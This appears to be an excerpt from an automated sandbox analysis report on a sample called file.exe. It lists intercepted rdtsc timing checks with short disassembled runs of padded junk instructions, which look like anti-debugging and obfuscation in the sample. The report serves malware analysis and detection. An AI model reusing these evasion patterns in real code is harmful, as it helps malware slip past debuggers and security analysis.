Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D9198 second address: 2D91C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F18AD7F4076h 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F18AD7F4088h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D91C4 second address: 2D91EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F18AD89A086h 0x00000011 jmp 00007F18AD89A08Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D91EA second address: 2D91F4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F18AD7F4076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D91F4 second address: 2D9213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F18AD89A08Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D966E second address: 2D9674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D9674 second address: 2D9678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDF58 second address: 2DDF5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDF5D second address: 2DDF63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDF63 second address: 2DDF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD7F4083h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDF7C second address: 2DDF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDF85 second address: 2DDF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A694B second address: 2A694F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A694F second address: 2A6953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6953 second address: 2A6959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6959 second address: 2A695F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A695F second address: 2A697C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A090h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A697C second address: 2A6980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6980 second address: 2A6995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6B75 second address: 2A6B88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6B88 second address: 2A6BAE instructions: 0x00000000 rdtsc 0x00000002 js 00007F18AD89A088h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 7A7BB3C2h 0x00000013 call 00007F18AD89A089h 0x00000018 push eax 0x00000019 push edx 0x0000001a ja 00007F18AD89A08Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6BAE second address: 2A6BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6BB2 second address: 2A6BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A097h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jc 00007F18AD89A08Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F18AD89A099h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A6CED second address: 2A6CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A7064 second address: 2A7073 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A73FC second address: 2A7401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A7401 second address: 2A7407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A7407 second address: 2A740B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A740B second address: 2A740F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A740F second address: 2A743F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F18AD7F4082h 0x00000010 push 0000001Eh 0x00000012 sub dword ptr [ebp+12448623h], ebx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007F18AD7F4076h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A743F second address: 2A7454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A7767 second address: 2A7777 instructions: 0x00000000 rdtsc 0x00000002 js 00007F18AD7F4076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A7777 second address: 2A777D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A777D second address: 2A77E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F18AD7F4078h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 or edx, 0F65CA9Eh 0x00000027 lea eax, dword ptr [ebp+1247E21Fh] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F18AD7F4078h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 mov ecx, 3EC55E83h 0x0000004c mov edi, ecx 0x0000004e nop 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F18AD7F407Ch 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A77E8 second address: 2A7804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A098h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD25A second address: 2DD264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F18AD7F4076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD264 second address: 2DD268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD4E7 second address: 2DD515 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F18AD7F4084h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD696 second address: 2DD6A0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F18AD89A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD6A0 second address: 2DD6A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD7F7 second address: 2DD7FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD7FB second address: 2DD803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DD803 second address: 2DD829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F18AD89A097h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDAF1 second address: 2DDAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDAF5 second address: 2DDAF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDAF9 second address: 2DDB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F18AD7F4076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDB05 second address: 2DDB0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDB0B second address: 2DDB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E52FB second address: 2E52FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E52FF second address: 2E5328 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F18AD7F4087h 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F18AD7F4076h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5328 second address: 2E532C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E548C second address: 2E54A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F18AD7F407Bh 0x0000000c jnl 00007F18AD7F4076h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E54A4 second address: 2E54A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E54A8 second address: 2E54AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E58E1 second address: 2E58EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F18AD89A086h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E58EE second address: 2E58F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5A43 second address: 2E5A5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A097h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5D03 second address: 2E5D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4087h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F18AD7F407Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5D2B second address: 2E5D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E6476 second address: 2E6495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F18AD7F4082h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E4D10 second address: 2E4D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F18AD89A08Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA359 second address: 2EA35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED0DB second address: 2ED0EB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25E3CC second address: 25E3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25E3D2 second address: 25E3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F18AD89A08Eh 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ECA77 second address: 2ECAA6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F18AD7F407Ch 0x0000000a pop ebx 0x0000000b jng 00007F18AD7F4091h 0x00000011 jmp 00007F18AD7F4085h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F21A6 second address: 2F21AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F21AC second address: 2F21BC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007F18AD7F4076h 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F25D7 second address: 2F25DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F25DB second address: 2F25E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F25E1 second address: 2F2604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F18AD89A09Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F2604 second address: 2F260E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F18AD7F4076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F260E second address: 2F2612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F2612 second address: 2F2644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F18AD7F4076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F18AD7F4085h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jne 00007F18AD7F409Ah 0x00000019 push eax 0x0000001a jns 00007F18AD7F4076h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F27A3 second address: 2F27A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F27A7 second address: 2F27C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4088h 0x00000007 je 00007F18AD7F4076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F27C9 second address: 2F27CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F27CF second address: 2F27D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F27D5 second address: 2F27D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F2C10 second address: 2F2C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jns 00007F18AD7F4076h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F2C21 second address: 2F2C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F366B second address: 2F3677 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F18AD7F407Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7713 second address: 2F7717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7717 second address: 2F7727 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007F18AD7F4076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7101 second address: 2F7107 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7107 second address: 2F7130 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F18AD7F408Dh 0x00000008 je 00007F18AD7F407Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7130 second address: 2F7171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 jmp 00007F18AD89A092h 0x0000000d jbe 00007F18AD89A086h 0x00000013 jmp 00007F18AD89A098h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007F18AD89A086h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7425 second address: 2F743A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F18AD7F4076h 0x0000000f jc 00007F18AD7F4076h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F743A second address: 2F743E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F743E second address: 2F7447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB4E8 second address: 2FB4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB4ED second address: 2FB4F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB4F2 second address: 2FB4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FABD4 second address: 2FAC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F18AD7F4076h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jmp 00007F18AD7F4085h 0x00000012 pushad 0x00000013 jmp 00007F18AD7F4082h 0x00000018 jmp 00007F18AD7F4082h 0x0000001d jmp 00007F18AD7F407Fh 0x00000022 jnc 00007F18AD7F4076h 0x00000028 popad 0x00000029 push ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FAD94 second address: 2FAD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FAD99 second address: 2FADCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4085h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F18AD7F4085h 0x0000000e jl 00007F18AD7F4076h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB081 second address: 2FB085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30349A second address: 3034A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 301707 second address: 301714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F18AD89A086h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 301714 second address: 301728 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F18AD7F407Ah 0x00000008 jo 00007F18AD7F408Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 301851 second address: 301858 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 301E10 second address: 301E1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
